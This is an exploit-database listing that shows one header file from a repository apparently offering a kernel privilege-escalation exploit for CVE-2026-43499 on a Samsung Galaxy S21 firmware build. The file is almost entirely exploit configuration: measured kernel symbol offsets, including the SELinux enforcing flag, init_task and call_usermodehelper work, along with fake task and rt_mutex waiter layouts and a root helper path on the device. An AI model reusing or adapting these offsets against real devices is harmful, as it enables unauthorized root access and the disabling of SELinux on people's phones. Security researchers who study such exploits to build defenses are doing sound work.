Exploit databaseDownload repository ZIP
GH-c6979f125cecb62b1ecaa308d3016aff
newazbenalam/root-my-galaxy-payloads
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
newazbenalam/root-my-galaxy-payloadsRevision 16b600849b0e
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/targets/o1q-G991USQSHHYI1/target.h
Text · 8,555 bytes#ifndef OFFSET_H
#define OFFSET_H
#if defined(APP_PAYLOAD) && APP_PAYLOAD
#define BUILD_VARIANT_LABEL "g991u-G991USQSHHYI1-app-v2-ksnitch"
#else
#define BUILD_VARIANT_LABEL "g991u-G991USQSHHYI1-root-umh"
#endif
#ifndef BUILD_FINGERPRINT
#define BUILD_FINGERPRINT \
"samsung/o1qsqw/o1q:15/AP3A.240905.015.A2/G991USQSHHYI1:user/release-keys"
#endif
/* Derived from the G991USQSHHYI1 ARM64 Image (vmlinux-to-elf base
* 0xffffffc010080000, kernel SHA-256 B7E2984036B987B13D54DF1C67EED70A038D5B4A022C38B46F4F4E3E66422CB0).
* Symbol offsets below are measured, not copied. */
#define KIMAGE_TEXT_BASE 0xffffffc010080000ULL
#define P0_PAGE_OFFSET 0xffffff8000000000ULL
#define P0_PHYS_OFFSET 0x80000000ULL
#define P0_KERNEL_PHYS_LOAD 0x80000000ULL
#define SKB_DATA_DELTA (-0xe80LL)
/* sizeof(mm_struct)=0x398 (920) — read from mm_cache_init's
* kmem_cache_create_usercopy("mm_struct", 0x398, ...) immediate.
* Do NOT copy 0x3c0 from exynos 5.4 profiles. */
#define MM_STRUCT_SZ 0x398
#define MM_ORDER 3
#define KMALLOC_CGROUP_TYPE 0
#define KMALLOC_CACHE_TYPES 2
#define LEGACY_RT_MUTEX_WAITER 1
#define SLIDE_FAKE_WAITER_PRIO 0
#define SLIDE_LOCK_OWNER_VALUE 1ULL
#define SLIDE_USE_FAKE_TASK 1
/* sched:sched_blocked_reason id read live: /sys/kernel/tracing/.../id = 70 */
#define SLIDE_TRACEFS_EVENT_ID 70
/* return address after the blocking bl schedule in worker_thread */
#define SLIDE_TRACEFS_WORKER_CALLER_OFF 0x002a48f0ULL
#define SLIDE_PSELECT_WORD_SHIFT 0
#define SLIDE_P0_OFFSET_CANDIDATES \
0x000000ULL, 0x010000ULL, 0x020000ULL, 0x030000ULL, \
0x040000ULL, 0x050000ULL, 0x060000ULL, 0x070000ULL, \
0x080000ULL, 0x090000ULL, 0x0a0000ULL, 0x0b0000ULL, \
0x0c0000ULL, 0x0d0000ULL, 0x0e0000ULL, 0x0f0000ULL, \
0x100000ULL, 0x110000ULL, 0x120000ULL, 0x130000ULL, \
0x140000ULL, 0x150000ULL, 0x160000ULL, 0x170000ULL, \
0x180000ULL, 0x190000ULL, 0x1a0000ULL, 0x1b0000ULL, \
0x1c0000ULL, 0x1d0000ULL, 0x1e0000ULL, 0x1f0000ULL
#define SLIDE_MAX_ATTEMPTS 32
/* app-variant payload bank (reclaimed ORDER3 page layout) */
#define SLIDE_BANK_SLOTS 4
#define SLIDE_BANK_TASK_OFF 0x1000
#define SLIDE_BANK_TASK_STRIDE 0x1c0
#define SLIDE_BANK_LOCK_OFF 0x5200
#define SLIDE_BANK_SLOT_STRIDE 0x100
#define SLIDE_BANK_WAITER_OFF 0x40
#define P0_ORACLE_GATE_PAGE_OFF 0x0e80
#if defined(APP_PAYLOAD) && APP_PAYLOAD
#define ROUTE_WAIT_SECONDS 8
#define PSELECT_ENTER_DELAY_USEC 50000
#define SLIDE_PSELECT_TIMEOUT_NSEC 100000000L
#define SLIDE_KSNITCH_APPENDED_FUTEXES 2048
#define SLIDE_KSNITCH_REPEAT_MEASUREMENT 64
#define SLIDE_KSNITCH_AVERAGE 8
#endif
#define KERNELSNITCH_IDENTITY_START 0xffffff8000000000ULL
#define KERNELSNITCH_IDENTITY_END 0xffffff9000000000ULL
#define DIRECT_MAP_BASE 0xffffff8000000000ULL
#define DIRECT_MAP_END 0xffffffc000000000ULL
#define VMEMMAP_START 0xfffffffeffe00000ULL
/* ashmem_misc + offsetof(struct miscdevice, fops) == 0x10, target verified */
#define ASHMEM_MISC_FOPS_OFF 0x02c74858ULL
#define ASHMEM_FOPS_OFF 0x023f1b78ULL
#define ASHMEM_IOCTL_OFF 0x00158aa8ULL
#define ASHMEM_COMPAT_IOCTL_OFF 0x001593c8ULL
#define ASHMEM_MMAP_OFF 0x0015941cULL
#define ASHMEM_OPEN_OFF 0x001595c0ULL
#define ASHMEM_RELEASE_OFF 0x00159638ULL
#define ASHMEM_SHOW_FDINFO_OFF 0x00159798ULL
/* 5.4 uses configfs_read_file / configfs_write_bin_file (no _iter variants) */
#define CONFIGFS_READ_ITER_OFF 0x00591108ULL
#define CONFIGFS_BIN_WRITE_ITER_OFF 0x00596000ULL
#define COPY_SPLICE_READ_OFF 0x00518facULL
#define NOOP_LLSEEK_OFF 0x004cf6a8ULL
#define INIT_TASK_OFF 0x02ce56c0ULL
#define ROOT_TASK_GROUP_OFF 0x03217440ULL
/* Samsung live flag: int selinux_enforcing (sel_write_enforce writes here) */
#define SELINUX_ENFORCING_OFF 0x033be554ULL
#define KMALLOC_CACHES_OFF 0x0257f408ULL
#define ANON_PIPE_BUF_OPS_OFF 0x0241ab38ULL
#define ASHMEM_MISC_FOPS (KIMAGE_TEXT_BASE + ASHMEM_MISC_FOPS_OFF)
#define ASHMEM_FOPS (KIMAGE_TEXT_BASE + ASHMEM_FOPS_OFF)
#define ASHMEM_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_IOCTL_OFF)
#define ASHMEM_COMPAT_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_COMPAT_IOCTL_OFF)
#define ASHMEM_MMAP (KIMAGE_TEXT_BASE + ASHMEM_MMAP_OFF)
#define ASHMEM_OPEN (KIMAGE_TEXT_BASE + ASHMEM_OPEN_OFF)
#define ASHMEM_RELEASE (KIMAGE_TEXT_BASE + ASHMEM_RELEASE_OFF)
#define ASHMEM_SHOW_FDINFO (KIMAGE_TEXT_BASE + ASHMEM_SHOW_FDINFO_OFF)
#define CONFIGFS_READ_ITER (KIMAGE_TEXT_BASE + CONFIGFS_READ_ITER_OFF)
#define CONFIGFS_BIN_WRITE_ITER (KIMAGE_TEXT_BASE + CONFIGFS_BIN_WRITE_ITER_OFF)
#define COPY_SPLICE_READ (KIMAGE_TEXT_BASE + COPY_SPLICE_READ_OFF)
#define NOOP_LLSEEK (KIMAGE_TEXT_BASE + NOOP_LLSEEK_OFF)
#define INIT_TASK (KIMAGE_TEXT_BASE + INIT_TASK_OFF)
#define ROOT_TASK_GROUP (KIMAGE_TEXT_BASE + ROOT_TASK_GROUP_OFF)
#define SELINUX_ENFORCING (KIMAGE_TEXT_BASE + SELINUX_ENFORCING_OFF)
#define KMALLOC_CACHES (KIMAGE_TEXT_BASE + KMALLOC_CACHES_OFF)
#define ANON_PIPE_BUF_OPS (KIMAGE_TEXT_BASE + ANON_PIPE_BUF_OPS_OFF)
#define ROOT_UMH_PATH "/data/local/tmp/cve-2026-43499-root"
#define CALL_USERMODEHELPER_EXEC_WORK_OFF 0x0029ccf0ULL
#define SYSTEM_UNBOUND_WQ_OFF 0x02befa48ULL
#define CALL_USERMODEHELPER_EXEC_WORK \
(KIMAGE_TEXT_BASE + CALL_USERMODEHELPER_EXEC_WORK_OFF)
#define SYSTEM_UNBOUND_WQ (KIMAGE_TEXT_BASE + SYSTEM_UNBOUND_WQ_OFF)
#define ROOT_UMH_WORK_OFF 0x6000
#define ROOT_UMH_DATA_OFF 0x6200
#define SLIDE_NFULNL_LOGGER_NAME_OFF 0x02109eb0ULL
#define SLIDE_NFULNL_LOGGER_OBJECT_OFF 0x02beac18ULL
#define SLIDE_RB_PARENT_TYPE_RESTORE 1ULL
#define SLIDE_RANDOM_TABLE_BOOT_ID_DATA_PTR_OFF 0x02d56f08ULL
#define SLIDE_INIT_TASK_OFF INIT_TASK_OFF
#define SLIDE_ROOT_TASK_GROUP_OFF ROOT_TASK_GROUP_OFF
#define SLIDE_SYSCTL_BOOTID_OFF 0x034589e9ULL
#define SLIDE_NFULNL_LOGGER_NAME_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_NFULNL_LOGGER_NAME_OFF)
#define SLIDE_NFULNL_LOGGER_OBJECT_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_NFULNL_LOGGER_OBJECT_OFF)
#define SLIDE_RANDOM_TABLE_BOOT_ID_DATA_PTR_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_RANDOM_TABLE_BOOT_ID_DATA_PTR_OFF)
#define SLIDE_INIT_TASK_IMAGE (KIMAGE_TEXT_BASE + SLIDE_INIT_TASK_OFF)
#define SLIDE_ROOT_TASK_GROUP_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_ROOT_TASK_GROUP_OFF)
#define SLIDE_SYSCTL_BOOTID_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_SYSCTL_BOOTID_OFF)
#define LOCK_OFF 0x2210
#define W0_OFF 0x2350
#define FOPS_OFF 0x2000
#define SCRATCH_OFF 0x3000
#define RIGHT_OFF 0x4440
#define LEFT_OFF 0x5550
#define FAKE_TASK_OFF 0x3200
#define FAKE_WAITER_PI_TREE_ENTRY_OFF 0x18
#define FAKE_WAITER_TASK_OFF 0x30
#define FAKE_WAITER_LOCK_OFF 0x38
#define FAKE_WAITER_PRIO_OFF 0x40
#define FAKE_WAITER_DEADLINE_OFF 0x48
#define FAKE_WAITER_LAYOUT_SIZE 0x50
/* task_struct offsets derived from o1q 5.4.274 disassembly (do NOT copy from
* exynos 5.4 profiles — this qgki kernel has a different task_struct):
* usage=0x38 (get_task_struct inline in adjust_prio_chain),
* on_rq=0x78, prio=0x7c, normal_prio=0x84, sched_class=0x90,
* dl.deadline=0x428, sched_task_group=0x3d8 (init_task reloc scan),
* pi_lock=0x8dc, pi_waiters.rb_root=0x8e8, pi_waiters.rb_leftmost=0x8f0,
* pi_top_task=0x8f8 (rt_mutex_setprio str x21,[x19,#0x8f8]),
* pi_blocked_on=0x900 (rt_mutex_adjust_pi + chain). */
#define FAKE_TASK_USAGE_OFF 0x38
#define FAKE_TASK_PRIO_OFF 0x7c
#define FAKE_TASK_NORMAL_PRIO_OFF 0x84
#define FAKE_TASK_TASK_GROUP_OFF 0x3d8
#define FAKE_TASK_PI_LOCK_OFF 0x8dc
#define FAKE_TASK_PI_WAITERS_OFF 0x8e8
#define FAKE_TASK_PI_TOP_TASK_OFF 0x8f8
#define FAKE_TASK_PI_BLOCKED_ON_OFF 0x900
#define CFG_PAGE_OFF 0x10
#define CFG_NEEDS_READ_FILL_OFF 0x50
#define CFG_BIN_BUFFER_OFF 0x58
#define CFG_BIN_BUFFER_SIZE_OFF 0x60
#define CFG_CB_MAX_SIZE_OFF 0x64
#define WQ_DFL_PWQ_OFF 0xb0
#define PWQ_POOL_OFF 0x00
#define PWQ_WQ_OFF 0x08
#define PWQ_WORK_COLOR_OFF 0x10
#define PWQ_REFCNT_OFF 0x18
#define PWQ_NR_IN_FLIGHT_OFF 0x1c
#define PWQ_NR_ACTIVE_OFF 0x58
#define PWQ_MAX_ACTIVE_OFF 0x5c
#define POOL_WORKLIST_OFF 0x20
#define POOL_NR_IDLE_OFF 0x34
#define WORK_DATA_OFF 0x00
#define WORK_ENTRY_OFF 0x08
#define WORK_FUNC_OFF 0x18
#define STRUCT_PAGE_SIZE 0x40
#define STRUCT_PAGE_COMPOUND_HEAD_OFF 0x08
#define STRUCT_SLAB_CACHE_OFF 0x18
#define STRUCT_PAGE_TYPE_OFF 0x30
#define PIPE_BUFFER_SLOTS 32
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define FOPS_OWNER_OFF 0x00
#define FOPS_LLSEEK_OFF 0x08
#define FOPS_READ_OFF 0x10
#define FOPS_WRITE_OFF 0x18
#define FOPS_READ_ITER_OFF 0x20
#define FOPS_WRITE_ITER_OFF 0x28
#define FOPS_IOCTL_OFF 0x50
#define FOPS_COMPAT_IOCTL_OFF 0x58
#define FOPS_MMAP_OFF 0x60
#define FOPS_OPEN_OFF 0x70
#define FOPS_RELEASE_OFF 0x80
#define FOPS_SPLICE_READ_OFF 0xc8
#define FOPS_SHOW_FDINFO_OFF 0xe0
#endif